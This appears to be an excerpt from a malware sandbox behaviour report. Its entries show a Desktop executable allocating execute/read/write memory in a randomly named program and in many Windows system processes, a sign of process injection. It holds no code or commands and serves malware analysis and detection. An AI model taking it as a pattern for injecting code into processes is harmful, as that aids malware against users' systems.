Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: E50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: E60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 12A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 12B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2080000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2090000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2F50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2A20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2A30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2570000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2580000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 12D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1320000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 28A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 28B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1160000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1170000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 9D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 9E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: AB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: AC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2210000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2220000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: F80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: F90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2700000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2750000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 10B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 10C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: FA0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: FB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: F20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: F70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: D40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: D50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1350000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 13A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 7B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 7C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: B10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: F20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: 1A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dwm.exe base: 670000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\sihost.exe base: D30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 400000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 8E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: 800000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\explorer.exe base: 82C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: A40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 630000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 170000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: A90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 990000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: 8A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: F80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: AB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 5A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 580000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\backgroundTaskHost.exe base: BD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: BF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: B20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dllhost.exe base: CE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: B70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: F60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: F30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: 1B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dwm.exe base: 680000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\sihost.exe base: D40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 410000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 8F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: 810000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\explorer.exe base: AE40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 300000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: A50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 640000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 180000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: AA0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: 8B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: F90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: AC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 5B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 590000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\backgroundTaskHost.exe base: BE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: C00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: B30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dllhost.exe base: CF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: B80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: F70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: F40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: 1C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dwm.exe base: 690000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\sihost.exe base: D50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 420000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 900000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: 820000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\explorer.exe base: B170000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 310000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: A60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 650000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 190000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: AB0000 protect: page execute and read and write Jump to behavior
